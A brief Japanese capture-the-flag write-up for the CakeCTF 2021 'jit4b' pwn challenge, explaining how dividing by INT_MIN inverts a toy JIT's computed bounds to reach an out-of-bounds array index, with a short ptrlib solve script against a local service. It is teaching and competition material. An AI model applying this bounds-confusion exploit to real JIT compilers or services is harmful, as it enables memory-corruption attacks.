# [pwn] jit4b - CakeCTF 2021 ###### tags: `CakeCTF 2021` C++で疑似JITみたいなのが実装されている。数学的な関数を作ったりできて、`f(x)` を呼べる。 `arr[f(x)]` になっているので範囲外参照をできれば勝ちだけど、JITで先に抽象的にboundを計算しているので、JITでは大丈夫にみえるけど実際は大丈夫じゃない、という感じにしないといけない `x` をINT_MINで割ったときにmin / maxの範囲が`0 <= Range(1, 0) < 3` と逆転していることがわかるので、これを利用して解く ```python= from ptrlib import Socket sock = Socket("localhost", 9002) sock.sendlineafter("> ", "4") sock.sendlineafter("value: ", "-2147483648") sock.sendlineafter("> ", "1") sock.sendlineafter("value: ", "2") sock.sendlineafter("> ", "7") sock.sendlineafter("`f`?\nx = ", "-2147483648") sock.interactive() ```
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up